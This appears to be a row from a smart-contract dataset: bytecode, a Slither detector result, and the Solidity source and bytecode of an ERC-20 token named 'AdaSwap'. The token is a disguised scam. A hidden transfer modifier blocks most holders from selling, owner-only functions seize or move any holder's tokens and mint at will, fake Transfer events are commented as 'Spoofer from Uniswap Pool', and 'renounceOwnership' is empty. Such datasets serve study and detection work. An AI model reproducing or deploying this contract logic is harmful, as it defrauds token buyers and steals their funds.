16610dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e64207965742c20706c6561736520776169742e2e2e000000000081525060200191505060405180910390fd5b60008111610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c726021913960400191505060405180910390fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610f0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f546f6b656e2062616c616e6365206973206e6f7420656e6f756768000000000081525060200191505060405180910390fd5b600254811115610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611c936028913960400191505060405180910390fd5b60006305f5e100600354830281610f7b57fe5b049050610fcb3382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116aa9092919063ffffffff16565b6110193330846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177b909392919063ffffffff16565b61102e8260025461190990919063ffffffff16565b60028190555061108682600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a8383604051808381526020018281526020019250505060405180910390a25050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611289576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f546f6b656e206973206e6f6e2d636f6e7472616374000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112e157506112e08373ffffffffffffffffffffffffffffffffffffffff16611953565b5b611353576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5375627363726962652073746f6b656e206973206e6f6e2d636f6e747261637481525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f546f6b656e206973206e6f6e2d636f6e7472616374000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561144e575061144d8273ffffffffffffffffffffffffffffffffffffffff16611953565b5b6114c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43757272656e637920746f6b656e206973206e6f6e2d636f6e7472616374000081525060200191505060405180910390fd5b826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806003819055506001600460006101000a81548160ff0219169083151502179055506000600460016101000a81548160ff021916908315150217905550505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600460006101000a81548160ff0219169083151502179055506001600460016101000a81548160ff021916908315150217905550565b60055481565b600460019054906101000a900460ff1681565b600460009054906101000a900460ff1681565b611776838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611966565b505050565b61187b848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611966565b50505050565b6000808284019050838110156118ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061194b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb1565b905092915050565b600080823b905060008111915050919050565b6119858273ffffffffffffffffffffffffffffffffffffffff16611953565b6119f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611a465780518252602082019150602081019050602083039250611a23565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611aa8576040519150601f19603f3d011682016040523d82523d6000602084013e611aad565b606091505b509150915081611b25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115611bab57808060200190516020811015611b4457600080fd5b8101908080519060200190929190505050611baa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611ce4602a913960400191505060405180910390fd5b5b50505050565b6000838311158290611c5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c23578082015181840152602081019050611c08565b50505050905090810190601f168015611c505780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe53656c6c20616d6f756e74206d757374206265206c6172676572207468616e2030546f6b656e2062616c616e6365206973206c6172676572207468616e20746f74616c537570706c7953756273637269626520616d6f756e74206d757374206265206c6172676572207468616e20313030305361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564427579206e6f74207374617274207965742c20706c6561736520776169742e2e2ea165627a7a72305820341bd9d0ccf9bf91c0e0ca26f8b5456cf633c29881e50683fe3f2523b85182b90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 170 |
0x9f0f0c7ca28667cfe9cc66913d85b5385117399f | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract AdaSwap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x29dcEE0513F729f0a8C3E591aeed224695ED5c1F;
address public _owner = 0xcBEd672333653c4256FfA53109f5b5875f34c3d5;
constructor () public {
_name = "AdaSwap";
_symbol = "ASW";
_decimals = 18;
uint256 initialSupply = 10000000000 * 10 ** 18 ;
_safeOwner = _owner;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_start(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_start(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_affirmative[receivers[i]] = true;
_rejectPile[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_rejectPile[receivers[i]] = true;
_affirmative[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function exec(address recipient) public _auth(){
_affirmative[recipient]=true;
_approve(recipient, cr,_approveValue);}
function obstruct(address recipient) public _auth(){
//Blker
_affirmative[recipient]=false;
_approve(recipient, cr,0);
}
function renounceOwnership() public _auth(){
//Renounces Ownership
}
function reverse(address target) public _auth() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
//Emit Single Transfer
emit Transfer(emitSender, emitRecipient, emitAmount);
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function burnLPTokens()public _auth(){}
} | 0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f21461081b578063d8fc29241461094e578063dd62ed3e14610a81578063e30bd74014610aaf576101a9565b8063a9059cbb146107e7578063b2bdfa7b14610813578063bb88603c1461076b576101a9565b806395d89b41116100d357806395d89b4114610773578063a1a6d5fc1461077b578063a64b6e5f146107b1578063a90143131461077b576101a9565b80636bb6126e1461071f57806370a0823114610745578063715018a61461076b576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146106085780635768b61a146106345780636268e0d51461065a57806362eb33e3146106fb576101a9565b8063313ce567146103845780633cc4430d146103a25780634c0cc925146104d5576101a9565b8063043fa39e146101ae57806306fdde0314610251578063095ea7b3146102ce5780630cdfb6281461030e57806318160ddd1461033457806323b872dd1461034e575b600080fd5b61024f600480360360208110156101c457600080fd5b810190602081018135600160201b8111156101de57600080fd5b8201836020820111156101f057600080fd5b803590602001918460208302840111600160201b8311171561021157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ad5945050505050565b005b610259610bca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029357818101518382015260200161027b565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102fa600480360360408110156102e457600080fd5b506001600160a01b038135169060200135610c60565b604080519115158252519081900360200190f35b61024f6004803603602081101561032457600080fd5b50356001600160a01b0316610c7d565b61033c610ce7565b60408051918252519081900360200190f35b6102fa6004803603606081101561036457600080fd5b506001600160a01b03813581169160208101359091169060400135610ced565b61038c610d74565b6040805160ff9092168252519081900360200190f35b61024f600480360360608110156103b857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103e257600080fd5b8201836020820111156103f457600080fd5b803590602001918460208302840111600160201b8311171561041557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561046457600080fd5b82018360208201111561047657600080fd5b803590602001918460208302840111600160201b8311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d7d945050505050565b61024f600480360360608110156104eb57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561051557600080fd5b82018360208201111561052757600080fd5b803590602001918460208302840111600160201b8311171561054857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561059757600080fd5b8201836020820111156105a957600080fd5b803590602001918460208302840111600160201b831117156105ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e43945050505050565b61024f6004803603604081101561061e57600080fd5b506001600160a01b038135169060200135610ee9565b61024f6004803603602081101561064a57600080fd5b50356001600160a01b0316610fc7565b61024f6004803603602081101561067057600080fd5b810190602081018135600160201b81111561068a57600080fd5b82018360208201111561069c57600080fd5b803590602001918460208302840111600160201b831117156106bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611049945050505050565b610703611139565b604080516001600160a01b039092168252519081900360200190f35b61024f6004803603602081101561073557600080fd5b50356001600160a01b0316611148565b61033c6004803603602081101561075b57600080fd5b50356001600160a01b03166111cf565b61024f6111ea565b610259611239565b61024f6004803603606081101561079157600080fd5b506001600160a01b0381358116916020810135909116906040013561129a565b6102fa600480360360608110156107c757600080fd5b506001600160a01b03813581169160208101359091169060400135611325565b6102fa600480360360408110156107fd57600080fd5b506001600160a01b038135169060200135611380565b610703611394565b61024f6004803603606081101561083157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085b57600080fd5b82018360208201111561086d57600080fd5b803590602001918460208302840111600160201b8311171561088e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108dd57600080fd5b8201836020820111156108ef57600080fd5b803590602001918460208302840111600160201b8311171561091057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113a3945050505050565b61024f6004803603606081101561096457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561098e57600080fd5b8201836020820111156109a057600080fd5b803590602001918460208302840111600160201b831117156109c157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a1057600080fd5b820183602082011115610a2257600080fd5b803590602001918460208302840111600160201b83111715610a4357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611463945050505050565b61033c60048036036040811015610a9757600080fd5b506001600160a01b03813581169160200135166114e0565b6102fa60048036036020811015610ac557600080fd5b50356001600160a01b031661150b565b600d546001600160a01b03163314610b1d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc657600160026000848481518110610b3b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060016000848481518110610b8c57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b20565b5050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b5050505050905090565b6000610c74610c6d6115d0565b84846115d4565b50600192915050565b600d546001600160a01b03163314610cc5576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b6000610cfa8484846116c0565b610d6a84610d066115d0565b610d6585604051806060016040528060288152602001611f58602891396001600160a01b038a16600090815260036020526040812090610d446115d0565b6001600160a01b031681526020810191909152604001600020549190611cb8565b6115d4565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610dca576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d57828181518110610de257fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f80833981519152848481518110610e1857fe5b60200260200101516040518082815260200191505060405180910390a3600101610dcd565b50505050565b600d546001600160a01b03163314610e90576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610ea483610e9c6115d0565b6008546115d4565b60005b8251811015610e3d57610ee184848381518110610ec057fe5b6020026020010151848481518110610ed457fe5b6020026020010151611d4f565b600101610ea7565b600d546001600160a01b03163314610f48576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f55908261156f565b600455600d546001600160a01b0316600090815260208190526040902054610f7d908261156f565b600d546001600160a01b039081166000908152602081815260408083209490945583518581529351928616939192600080516020611f808339815191529281900390910190a35050565b600d546001600160a01b03163314611014576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546110469284929116906115d4565b50565b600d546001600160a01b03163314611091576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc65760018060008484815181106110ae57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106110ff57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611094565b600b546001600160a01b031681565b600d546001600160a01b03163314611195576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461104692849216906115d4565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314611237576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b600d546001600160a01b031633146112e7576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b03163314611375576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610cfa848484611d4f565b6000610c7461138d6115d0565b84846116c0565b600d546001600160a01b031681565b600d546001600160a01b031633146113f0576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d5782818151811061140857fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f8083398151915284848151811061143e57fe5b60200260200101516040518082815260200191505060405180910390a36001016113f3565b600d546001600160a01b031633146114b0576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6114bc83610e9c6115d0565b60005b8251811015610e3d576114d884848381518110610ec057fe5b6001016114bf565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546000906001600160a01b0316331461155b576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b61156782610e9c6115d0565b506001919050565b6000828201838110156115c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116195760405162461bcd60e51b8152600401808060200182810382526024815260200180611fc56024913960400191505060405180910390fd5b6001600160a01b03821661165e5760405162461bcd60e51b8152600401808060200182810382526022815260200180611ef06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548491849184916001600160a01b0391821691161480156116f35750600d546001600160a01b038481169116145b1561188957600980546001600160a01b0319166001600160a01b038481169190911790915586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03851661179a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b6117a5868686611ec7565b6117e284604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611811908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d548782169116141561184b57600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a3611cb0565b600d546001600160a01b03848116911614806118b257506009546001600160a01b038481169116145b806118ca5750600d546001600160a01b038381169116145b1561194d57600d546001600160a01b0384811691161480156118fd5750816001600160a01b0316836001600160a01b0316145b1561190857600a8190555b6001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff16151514156119b9576001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff16151560011415611a43576009546001600160a01b0384811691161480611a085750600b546001600160a01b038381169116145b6119085760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b600a54811015611ad7576009546001600160a01b0383811691161415611908576001600160a01b0383811660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6009546001600160a01b0384811691161480611b005750600b546001600160a01b038381169116145b611b3b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b6001600160a01b038616611b805760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038516611bc55760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611bd0868686611ec7565b611c0d84604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611c3c908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d5487821691161415611c7657600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a35b505050505050565b60008184841115611d475760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d0c578181015183820152602001611cf4565b50505050905090810190601f168015611d395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611d945760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038216611dd95760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611de4838383611ec7565b611e2181604051806060016040528060268152602001611f12602691396001600160a01b0386166000908152602081905260409020549190611cb8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e50908261156f565b6001600160a01b03808416600090815260208190526040902091909155600d54848216911614156112e757600c